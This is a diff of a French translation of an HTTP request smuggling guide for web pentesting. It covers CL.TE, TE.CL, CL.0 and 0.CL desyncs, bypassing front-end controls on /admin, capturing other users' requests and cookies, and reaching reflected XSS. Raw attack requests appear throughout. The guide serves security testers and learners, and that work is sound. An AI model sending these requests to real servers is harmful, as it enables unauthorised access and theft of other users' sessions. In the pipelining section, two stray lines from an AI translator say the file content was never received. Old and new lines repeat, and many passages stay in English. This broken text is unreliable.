- L'attaquant envoie une requête chunked où la taille du chunk (`7b`) et la longueur réelle (`Content-Length: 4`) ne correspondent pas.
- Le front-end, respectant `Transfer-Encoding`, transfère toute la requête au back-end.
- Le back-end, respectant `Content-Length`, ne traite que la première partie de la requête (`7b` octets), laissant le reste comme partie d'une requête suivante non intentionnelle.
- **Exemple :**
```
@ -103,14 +120,14 @@ x=
```
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
#### TE.TE Vulnerability (Transfer-Encoding utilisé par les deux, avec obfuscation)
- **Serveurs :** Les deux supportent `Transfer-Encoding`, mais l'un peut être trompé en ignorant via obfuscation.
- **Serveurs :** Les deux supportent `Transfer-Encoding`, mais l'un peut être trompé et l'ignorer via une obfuscation.
- **Scénario d'attaque :**
- L'attaquant envoie une requête avec des en-têtes `Transfer-Encoding` obfusqués.
- Selon le serveur (front-end ou back-end) qui ne reconnaît pas l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
- La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête suivante, conduisant au smuggling.
- La partie non traitée de la requête, vue par l'un des serveurs, devient partie d'une requête suivante, menant au smuggling.
- **Exemple :**
```
@ -130,10 +147,10 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
#### **CL.CL Scenario (Content-Length utilisé par les deux Front-End et Back-End)**
- Les deux serveurs traitent la requête uniquement en se basant sur l'en-tête `Content-Length`.
- Ce scénario ne conduit généralement pas au smuggling, car il y a alignement dans la manière dont les deux serveurs interprètent la longueur de la requête.
- Les deux serveurs traitent la requête uniquement sur la base de l'en-tête `Content-Length`.
- Ce scénario conduit généralement pas au smuggling, car il y a alignement dans la façon dont les deux serveurs interprètent la longueur de la requête.
- **Exemple :**
```
@ -147,8 +164,8 @@ Normal Request
#### **CL.0 Scenario**
- Se réfère aux scénarios où l'en-tête `Content-Length` est présent et a une valeur autre que zéro, indiquant que le corps de la requête contient du contenu. Le back-end ignore l'en-tête `Content-Length` (qui est traité comme 0), mais le front-end le parse.
- C'est crucial pour comprendre et créer des attaques de smuggling, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
- Fait référence aux scénarios où l'en-tête `Content-Length` est présent et a une valeur différente de zéro, indiquant que le body de la requête contient des données. Le back-end ignore le `Content-Length` (traité comme 0), mais le front-end le parse.
- C'est crucial pour comprendre et construire des attaques de smuggling, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
- **Exemple :**
```
@ -164,7 +181,7 @@ Non-Empty Body
- Comme le précédent mais en utilisant TE.
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
- **Exemple**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -182,20 +199,43 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### `0.CL` Scénario
Dans une `0.CL` situation, une requête est envoyée avec un Content-Length comme :
```
GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7
GET /404 HTTP/1.1
X: Y
```
Et le front-end ne prend pas le `Content-Length` en compte, donc il n'envoie que la première requête au backend (jusqu'au 7 dans l'exemple). Cependant, le backend voit le `Content-Length` et attend un corps de requête qui n'arrive jamais parce que le front-end attend déjà la réponse.
Cependant, s'il existe une requête qu'il est possible d'envoyer au backend et qui reçoit une réponse avant la réception du corps de la requête, cet interblocage ne se produira pas. Dans IIS par exemple, cela se produit en envoyant des requêtes vers des mots interdits comme `/con` (consultez la [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), de cette façon, la requête initiale recevra une réponse directe et la deuxième requête contiendra la requête de la victime comme :
```
GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>
```
Ceci est utile pour provoquer un desync, mais jusqu'à présent cela n'a eu aucun impact.
Cependant, le post propose une solution pour cela en convertissant une **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
#### Faire planter le serveur web
Cette technique est aussi utile dans des scénarios où il est possible de **faire planter un serveur web pendant la lecture des données HTTP initiales** mais **sans fermer la connexion**. Ainsi, le **corps** de la requête HTTP sera considéré comme la **requête HTTP suivante**.
Cette technique est également utile dans des scénarios où il est possible de **faire planter un serveur web lors de la lecture des données HTTP initiales** mais **sans fermer la connexion**. De cette façon, le **body** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
Par exemple, comme expliqué dans [**cet article**](https://mizu.re/post/twisty-python), dans Werkzeug il était possible d'envoyer certains caractères **Unicode** et cela faisait **planter** le serveur. Cependant, si la connexion HTTP était établie avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **requête HTTP suivante**.
Par exemple, comme expliqué dans [**this writeup**](https://mizu.re/post/twisty-python), dans Werkzeug il était possible d'envoyer certains caractères **Unicode** et cela faisait **planter** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le body de la requête ne sera pas lu et la connexion restera ouverte, donc le **body** de la requête sera traité comme la **prochaine requête HTTP**.
#### Forçage via les en-têtes hop-by-hop
#### Forcer via hop-by-hop headers
En abusant des en-têtes hop-by-hop vous pouvez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour permettre un HTTP request smuggling exploitable**.
En abusant des hop-by-hop headers vous pouvez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'un HTTP request smuggling puisse être exploité**.
```
Connection: Content-Length
```
Pour **more information about hop-by-hop headers** consultez :
Pour **plus d'informations sur hop-by-hop headers** consultez :
{{#ref}}
../abusing-hop-by-hop-headers.md
@ -203,13 +243,13 @@ Pour **more information about hop-by-hop headers** consultez :
## Détection de HTTP Request Smuggling
Identifier des vulnérabilités de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l'observation du temps que met le serveur à répondre à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En dehors de ces méthodes, il existe d'autres stratégies et outils pour trouver de telles vulnérabilités :
L'identification des vulnérabilités de HTTP request smuggling peut souvent être réalisée en utilisant des techniques de temporisation, qui reposent sur l'observation du temps de réponse du serveur à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En plus de ces méthodes, il existe d'autres stratégies et outils pour trouver de telles vulnérabilités :
### Détection des vulnérabilités CL.TE avec des techniques de timing
### Détection des vulnérabilités CL.TE en utilisant des techniques de temporisation
- **Méthode :**
- Envoyer une requête qui, si l'application est vulnérable, fera que le back-end attendra des données supplémentaires.
- Envoyer une requête qui, si l'application est vulnérable, fera que le serveur back-end attendra des données supplémentaires.
- **Exemple :**
```
@ -225,18 +265,18 @@ A
```
- **Observation :**
- Le front-end traite la requête en se basant sur `Content-Length` et coupe le message prématurément.
- Le back-end, s'attendant à un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un délai.
- Le serveur front-end traite la requête en se basant sur `Content-Length` et coupe le message prématurément.
- Le serveur back-end, s'attendant à un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un délai.
- **Indicateurs :**
- Timeouts ou longs délais de réponse.
- Réception d'une erreur 400 Bad Request provenant du back-end, parfois accompagnée d'informations détaillées sur le serveur.
- Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.
### Détection des vulnérabilités TE.CL avec des techniques de timing
### Détection des vulnérabilités TE.CL en utilisant des techniques de temporisation
- **Méthode :**
- Envoyer une requête qui, si l'application est vulnérable, fera que le back-end attendra des données supplémentaires.
- Envoyer une requête qui, si l'application est vulnérable, fera que le serveur back-end attendra des données supplémentaires.
- **Exemple :**
```
@ -251,41 +291,49 @@ X
```
- **Observation :**
- Le front-end traite la requête en se basant sur `Transfer-Encoding` et transmet l'intégralité du message.
- Le back-end, s'attendant à un message basé sur `Content-Length`, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
- Le serveur front-end traite la requête en se basant sur `Transfer-Encoding` et relaie l'intégralité du message.
- Le serveur back-end, s'attendant à un message basé sur `Content-Length`, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
### Autres méthodes pour trouver des vulnérabilités
- **Analyse différentielle des réponses :**
- Envoyer des versions légèrement différentes d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, ce qui indiquerait une divergence d'analyse.
- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant un écart d'analyse.
- **Utilisation d'outils automatisés :**
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambigües et en analysant les réponses.
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambigs et en analysant les réponses.
- **Tests de variance de Content-Length :**
- Envoyer des requêtes avec des valeurs `Content-Length` variables et non alignées avec la longueur réelle du contenu et observer comment le serveur gère ces discordances.
- Envoyer des requêtes avec des valeurs `Content-Length` variables qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère ces incohérences.
- **Tests de variance de Transfer-Encoding :**
- Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment le front-end et le back-end répondent différemment à ces manipulations.
- Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment le front-end et le back-end répondent différemment à de telles manipulations.
### Tests de vulnérabilité HTTP Request Smuggling
### The `Expect: 100-continue` header
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes client peuvent être manipulées. Une méthode simple consiste à tenter de poisonner vos requêtes, par exemple faire en sorte qu'une requête vers `/` renvoie un 404. Les exemples CL.TE et TE.CL discutés précédemment dans [Basic Examples](#basic-examples) montrent comment poisonner la requête d'un client pour provoquer un 404, malgré le fait que le client cherchait à accéder à une ressource différente.
Vérifiez comment cet en-tête peut aider à exploiter un http desync dans :
{{#ref}}
../special-http-headers.md
{{#endref}}
### Test de vulnérabilité HTTP Request Smuggling
Après avoir confirmé l'efficacité des techniques de temporisation, il est crucial de vérifier si les requêtes client peuvent être manipulées. Une méthode simple consiste à tenter d'empoisonner vos requêtes, par exemple en faisant en sorte qu'une requête vers `/` renvoie une réponse 404. Les exemples CL.TE et TE.CL discutés précédemment dans [Basic Examples](#basic-examples) montrent comment empoisonner la requête d'un client pour provoquer une 404, malgré le fait que le client vise une autre ressource.
**Considérations clés**
Lorsque vous testez des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
Lors des tests de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
- **Connexions réseau distinctes :** Les requêtes "attaque" et "normale" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
- **URL et paramètres identiques :** Essayez d'utiliser des URLs et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des back-ends spécifiques selon l'URL et les paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition nécessaire pour une attaque réussie.
- **Timing et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "attaque", est en compétition avec d'autres requêtes concurrentes de l'application. Envoyez donc la requête "normale" immédiatement après la requête "attaque". Les applications très chargées peuvent nécessiter plusieurs essais pour obtenir une confirmation concluante.
- **Problèmes de load balancing :** Les front-ends faisant office de load balancer peuvent répartir les requêtes sur différents back-ends. Si la requête "attaque" et la requête "normale" sont envoyées sur des systèmes différents, l'attaque échouera. Cet aspect de load balancing peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
- **Impact involontaire sur des utilisateurs :** Si votre attaque affecte involontairement la requête d'un autre utilisateur (et non la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests répétés pourraient perturber d'autres utilisateurs, ce qui impose d'adopter une approche prudente.
- **URL et paramètres cohérents :** Essayez d'utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition nécessaire à une attaque réussie.
- **Timing et conditions de course :** La requête "normale", destinée à détecter l'interférence de la requête "attaque", est en concurrence avec d'autres requêtes simultanées de l'application. Envoyez donc la requête "normale" immédiatement après la requête "attaque". Les applications très sollicitées peuvent nécessiter plusieurs essais pour une confirmation concluante.
- **Problèmes liés au load balancing :** Les serveurs front-end agissant comme load balancers peuvent répartir les requêtes entre différents back-ends. Si les requêtes "attaque" et "normale" aboutissent sur des systèmes différents, l'attaque échouera. Cet aspect de load balancing peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
- **Impact involontaire sur les utilisateurs :** Si votre attaque affecte involontairement la requête d'un autre utilisateur (et non la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests répétés pourraient perturber d'autres utilisateurs, ce qui exige une approche prudente.
## Distinguer les artefacts de pipelining HTTP/1.1 des véritables request smuggling
## Distinguer les artefacts de pipelining HTTP/1.1 des vrais request smuggling
La réutilisation de la connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requêtes sur la même socket. Apprenez à séparer les artefacts inoffensifs côté client des véritables desynchronisations côté serveur.
La réutilisation de connexion (keep-alive) et le pipelining peuvent facilement produire des illusions de "smuggling" dans les outils de test qui envoient plusieurs requêtes sur la même socket. Apprenez à séparer les artefacts inoffensifs côté client des véritables désynchronisations côté serveur.
### Pourquoi le pipelining crée des faux positifs classiques
HTTP/1.1 réutilise une seule connexion TCP/TLS et concatène requêtes et réponses sur le même flux. En pipelining, le client envoie plusieurs requêtes à la suite et attend des réponses dans l'ordre. Un faux positif courant consiste à renvoyer deux fois un payload malformé de type CL.0 sur une seule connexion :
HTTP/1.1 réutilise une unique connexion TCP/TLS et concatène requêtes et réponses sur le même flux. En pipelining, le client envoie plusieurs requêtes à la suite et s'attend à des réponses dans le même ordre. Un faux positif courant est de renvoyer deux fois une charge utile malformée de style CL.0 sur une seule connexion :
```
POST / HTTP/1.1
Host: hackxor.net
@ -294,7 +342,7 @@ Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
```
Je nai reçu aucun contenu à traduire. Veuillez coller le contenu du fichier src/pentesting-web/http-request-smuggling/README.md que vous voulez que je traduise en français.
Je n'ai pas reçu le contenu du fichier src/pentesting-web/http-request-smuggling/README.md. Veuillez coller le texte du fichier ici (ou fournir le passage à traduire) pour que je le traduise en français en respectant les consignes indiquées.
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -308,7 +356,7 @@ Content-Type: text/plain
User-agent: *
Disallow: /settings
```
Si le serveur a ignoré le `Content_Length` malformé, il n'y a pas de désynchronisation FE↔BE. En cas de réutilisation, votre client a réellement envoyé ce flux d'octets, que le serveur a analysé comme deux requêtes indépendantes :
Si le serveur a ignoré le `Content_Length` malformé, il n'y a pas de FE↔BE desync. Avec la réutilisation, votre client a en fait envoyé ce flux d'octets, que le serveur a analysé comme deux requêtes indépendantes :
```
POST / HTTP/1.1
Host: hackxor.net
@ -325,39 +373,39 @@ X: Y
Impact : aucun. Vous venez juste de désynchroniser votre client par rapport au cadrage du serveur.
> [!TIP]
> Les modules Burp qui dépendent de la réutilisation/pipelining : Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
> Burp modules that depend on reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
### Litmus tests: pipelining or real desync?
1. Désactivez la réutilisation et retestez
- Dans Burp Intruder/Repeater, désactivez HTTP/1 reuse et évitez "Send group in sequence".
- Dans Turbo Intruder, définissez `requestsPerConnection=1` et `pipeline=False`.
- Si le comportement disparaît, il s'agissait probablement de pipelining côté client, à moins que vous ne soyez face à des cibles connection-locked/stateful ou à une désynchronisation côté client.
2. Vérification HTTP/2 de réponse imbriquée
- Envoyez une requête HTTP/2. Si le corps de la réponse contient une réponse HTTP/1 complète imbriquée, vous avez prouvé un bug de parsing/désynchronisation côté backend plutôt qu'un simple artefact côté client.
3. Sonde partial-requests pour front-ends connection-locked
- Certains FEs ne réutilisent la connexion BE en amont que si le client a réutilisé la sienne. Utilisez partial-requests pour détecter un comportement du FE qui reflète la réutilisation client.
- Voir PortSwigger "BrowserPowered Desync Attacks" pour la technique connection-locked.
4. Probes d'état
- Cherchez les différences entre la première requête et les requêtes suivantes sur la même connexion TCP (first-request routing/validation).
- Burp "HTTP Request Smuggler" inclut une sonde connectionstate qui automatise cela.
5. Visualisez le wire
- Utilisez l'extension Burp "HTTP Hacker" pour inspecter la concaténation et le cadrage des messages directement pendant que vous expérimentez la réutilisation et les partial requests.
1. Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set `requestsPerConnection=1` and `pipeline=False`.
- If the behavior disappears, it was likely client-side pipelining, unless youre dealing with connection-locked/stateful targets or client-side desync.
2. HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, youve proven a backend parsing/desync bug instead of a pure client artifact.
3. Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger "BrowserPowered Desync Attacks" for the connection-locked technique.
4. State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp "HTTP Request Smuggler" includes a connectionstate probe that automates this.
5. Visualize the wire
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
### Connectionlocked request smuggling (reuse-required)
Certains front-ends ne réutilisent la connexion en amont que lorsque le client réutilise la sienne. Le real smuggling existe mais est conditionnel à la réutilisation côté client. Pour distinguer et prouver l'impact :
- Prouvez le bug côté serveur
- Utilisez la vérification HTTP/2 de réponse imbriquée, ou
- Utilisez partial-requests pour montrer que le FE ne réutilise la connexion en amont que lorsque le client le fait.
- Montrez un impact réel même si l'abus direct de sockets cross-user est bloqué :
- Cache poisoning : poisonnez les caches partagés via la desync pour que les réponses affectent d'autres utilisateurs.
- Internal header disclosure : reflétez des en-têtes injectés par le FE (p. ex. auth/trust headers) et pivotez vers un contournement d'auth.
- Bypass FE controls : smuggle restricted paths/methods past the front-end.
- Host-header abuse : combinez avec des particularités de routage host pour pivoter vers des vhosts internes.
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduisez avec réutilisation contrôlée (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Ensuite, enchaînez vers des primitives de cache/header-leak/control-bypass et démontrez un impact cross-user ou d'autorisation.
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
> See also connectionstate attacks, which are closely related but not technically smuggling:
>
@ -367,9 +415,9 @@ Certains front-ends ne réutilisent la connexion en amont que lorsque le client
### Clientside desync constraints
Si vous ciblez browser-powered/client-side desync, la requête malveillante doit pouvoir être envoyée par un navigateur cross-origin. Les tricks d'obfuscation d'en-têtes ne fonctionneront pas. Concentrez-vous sur des primitives atteignables via navigation/fetch, puis pivotez vers cache poisoning, header disclosure, ou front-end control bypass lorsque des composants en aval reflètent ou mettent en cache des réponses.
If youre targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks wont work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
Pour le contexte et les workflows de bout en bout :
For background and end-to-end workflows:
{{#ref}}
browser-http-request-smuggling.md
@ -377,21 +425,21 @@ browser-http-request-smuggling.md
### Tooling to help decide
- HTTP Hacker (Burp BApp Store) : expose le comportement HTTP basniveau et la concaténation de sockets.
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder : contrôle précis de la réutilisation des connexions via `requestsPerConnection`.
- Burp HTTP Request Smuggler : inclut une sonde connectionstate pour repérer le firstrequest routing/validation.
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
- Burp HTTP Request Smuggler: includes a connectionstate probe to spot firstrequest routing/validation.
> [!NOTE]
> Considérez les effets liés uniquement à la réutilisation comme non significatifs à moins que vous puissiez prouver un desync côté serveur et fournir un impact concret (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
## Abus de HTTP Request Smuggling
## Abuser de HTTP Request Smuggling
### Contourner la sécurité front-end via HTTP Request Smuggling
### Contourner la sécurité du front-end via HTTP Request Smuggling
Parfois, les proxies front-end appliquent des mesures de sécurité et scrutent les requêtes entrantes. Cependant, ces mesures peuvent être contournées en exploitant HTTP Request Smuggling, permettant un accès non autorisé à des endpoints restreints. Par exemple, l'accès à `/admin` peut être interdit depuis l'extérieur, le proxy front-end bloquant activement ces tentatives. Néanmoins, ce proxy peut omettre d'inspecter des requêtes imbriquées à l'intérieur d'une requête HTTP smuggled, laissant une brèche pour contourner ces restrictions.
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Considérez les exemples suivants illustrant comment HTTP Request Smuggling peut être utilisé pour contourner les contrôles de sécurité front-end, ciblant spécifiquement le chemin `/admin` qui est typiquement protégé par le proxy front-end :
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
**CL.TE Example**
```
@ -410,7 +458,7 @@ Content-Length: 10
x=
```
Dans l'attaque CL.TE, l'en-tête `Content-Length` est exploité pour la requête initiale, tandis que la requête embarquée suivante utilise l'en-tête `Transfer-Encoding: chunked`. Le proxy front-end traite la requête `POST` initiale mais n'inspecte pas la requête embarquée `GET /admin`, ce qui permet un accès non autorisé au chemin `/admin`.
Dans l'attaque CL.TE, l'en-tête `Content-Length` est exploité pour la requête initiale, tandis que la requête incorporée suivante utilise l'en-tête `Transfer-Encoding: chunked`. Le front-end proxy traite la requête initiale `POST` mais n'inspecte pas la requête incorporée `GET /admin`, ce qui permet un accès non autorisé au chemin `/admin`.
**TE.CL Exemple**
```
@ -428,13 +476,13 @@ a=x
0
```
Inversement, dans l'attaque TE.CL, la requête initiale `POST` utilise `Transfer-Encoding: chunked`, et la requête embarquée suivante est traitée en se basant sur l'en-tête `Content-Length`. Comme pour l'attaque CL.TE, le proxy frontal ignore la requête dissimulée `GET /admin`, accordant involontairement l'accès au chemin restreint `/admin`.
Inversement, dans l'attaque TE.CL, la requête initiale `POST` utilise `Transfer-Encoding: chunked`, et la requête intégrée suivante est traitée en fonction de l'en-tête `Content-Length`. Comme pour l'attaque CL.TE, le proxy frontal ignore la requête dissimulée `GET /admin`, accordant involontairement l'accès au chemin restreint `/admin`.
### Révéler la réécriture des requêtes côté front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
### Révéler la réécriture des requêtes par le serveur front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Les applications emploient souvent un **serveur frontal** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, tels que `X-Forwarded-For: <IP of the client>`, pour relayer l'adresse IP du client vers le back-end. Comprendre ces modifications peut être crucial, car elles peuvent révéler des moyens de **contourner les protections** ou de **mettre au jour des informations ou des endpoints dissimulés**.
Les applications utilisent souvent un **serveur front-end** pour modifier les requêtes entrantes avant de les transmettre au serveur back-end. Une modification typique consiste à ajouter des en-têtes, comme `X-Forwarded-For: <IP of the client>`, pour relayer l'IP du client au back-end. Comprendre ces modifications peut être crucial, car elles peuvent révéler des moyens de **contourner des protections** ou **d'identifier des informations ou des endpoints cachés**.
Pour analyser comment un proxy modifie une requête, localisez un paramètre POST que le back-end renvoie dans la réponse. Ensuite, construisez une requête en plaçant ce paramètre en dernier, similaire à la suivante :
Pour étudier comment un proxy modifie une requête, repérez un paramètre `POST` que le back-end renvoie dans la réponse. Ensuite, construisez une requête en mettant ce paramètre en dernier, similaire à ce qui suit :
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -451,19 +499,19 @@ Content-Length: 100
search=
```
Dans cette structure, les composants de requête suivants sont ajoutés après `search=`, qui est le paramètre renvoyé dans la réponse. Cette réflexion exposera les headers de la requête suivante.
Dans cette structure, les composants de la requête suivants sont ajoutés après `search=`, qui est le paramètre reflété dans la réponse. Cette réflexion exposera les en-têtes de la requête suivante.
Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée sur la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement : une valeur trop faible tronquera les données reflétées, tandis qu'une valeur trop élevée peut provoquer une erreur de requête.
Il est important d'aligner l'en-tête `Content-Length` de la requête imbriquée sur la longueur réelle du contenu. Il est conseillé de commencer par une petite valeur et d'augmenter progressivement : une valeur trop faible tronquera les données reflétées, tandis qu'une valeur trop élevée peut faire échouer la requête.
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Quelle que soit la combinaison de caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.
Cette technique est également applicable dans le contexte d'une vulnérabilité TE.CL, mais la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.
Cette méthode sert principalement à comprendre les modifications de requête effectuées par le proxy front-end, effectuant essentiellement une enquête auto-dirigée.
Cette méthode sert principalement à comprendre les modifications de requête apportées par le front-end proxy, en effectuant essentiellement une investigation autonome.
### Capturer les requêtes des autres utilisateurs <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique comme valeur d'un paramètre lors d'un POST. Voici comment procéder :
Il est possible de capturer les requêtes de l'utilisateur suivant en ajoutant une requête spécifique en tant que valeur d'un paramètre lors d'une opération POST. Voici comment cela peut être accompli:
En ajoutant la requête suivante comme valeur d'un paramètre, vous pouvez stocker la requête du client suivant :
En ajoutant la requête suivante comme valeur d'un paramètre, vous pouvez stocker la requête du client subséquent:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -483,20 +531,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
Dans ce scénario, le **paramètre comment** est destiné à stocker le contenu de la section commentaires d'un post sur une page accessible publiquement. Par conséquent, le contenu de la requête suivante apparaîtra comme un commentaire.
Cependant, cette technique a des limites. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête smuggled. Pour les soumissions de formulaire encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la query string.
Cependant, cette technique a des limites. En général, elle capture les données uniquement jusqu'au délimiteur de paramètre utilisé dans la requête dissimulée. Pour les soumissions de formulaire encodées en URL, ce délimiteur est le caractère `&`. Cela signifie que le contenu capturé de la requête de l'utilisateur victime s'arrêtera au premier `&`, qui peut même faire partie de la chaîne de requête.
De plus, il convient de noter que cette approche est également viable avec une vulnérabilité TE.CL. Dans ce cas, la requête doit se terminer par `search=\r\n0`. Quel que soit le(s) caractère(s) de nouvelle ligne, les valeurs seront ajoutées au paramètre search.
De plus, il convient de noter que cette approche est aussi viable avec une vulnérabilité TE.CL. Dans ce cas, la requête doit se terminer par `search=\r\n0`. Indépendamment des caractères de nouvelle ligne, les valeurs seront ajoutées au paramètre search.
### Utiliser HTTP request smuggling pour exploiter Reflected XSS
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
HTTP Request Smuggling peut être utilisé pour exploiter des pages web vulnérables à **Reflected XSS**, offrant des avantages significatifs :
- L'interaction avec les utilisateurs ciblés n'est **pas requise**.
- Permet l'exploitation de XSS dans des parties de la requête qui sont **normalement inaccessibles**, comme les en-têtes HTTP.
